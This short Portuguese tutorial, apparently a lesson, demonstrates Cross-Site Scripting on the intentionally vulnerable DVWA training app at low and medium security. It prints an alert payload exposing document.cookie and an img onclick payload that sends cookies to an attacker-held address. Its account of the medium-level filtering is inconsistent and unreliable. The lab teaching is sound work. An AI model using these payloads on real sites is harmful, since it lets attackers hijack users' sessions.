XSS DVWA "Segurança"
O Damn Vulnerable Web Application (DVWA) é uma aplicação web propositalmente vulnerável, usada para testar habilidades e ferramentas de segurança. Vamos explorar os três níveis de segurança do DVWA em relação ao Cross-Site Scripting (XSS): nível baixo, nível médio e nível alto. Cada nível filtra e trata a segurança de forma diferente.
No nível baixo, o DVWA não faz nenhuma filtragem ou validação dos dados de entrada do usuário. Isso significa que qualquer script injetado será executado diretamente no navegador.
Exemplo:
<script>alert(document.cookie);</script> |
O que Acontece:
Quando você injeta este script, ele exibe um alerta contendo os cookies do navegador, incluindo o PHPSESSID
, que é o identificador da sessão.
No nível médio, o DVWA aplica algumas filtragens básicas para evitar a injeção de scripts. Ele filtra caracteres especiais, como <
e >
, mas não verifica se o atributo src
é uma URL válida.
Exemplo:
<img src="x" onclick="document.location='http://192.168.1.223/rouba_cookie?' + document.cookie;"> |
O que Acontece:
O script tenta injetar uma imagem com um atributo onclick
que redireciona o navegador para um servidor controlado pelo atacante, enviando os cookies do usuário. Porém, devido às filtragens, apenas parte do script pode ser executado.
No nível alto, o DVWA aplica filtragens mais rigorosas e uma sanitização completa das entradas do usuário. O nível alto está projetado para bloquear a maioria das tentativas de XSS.
Vamos explorar o nível alto mais detalhadamente em uma próxima aula.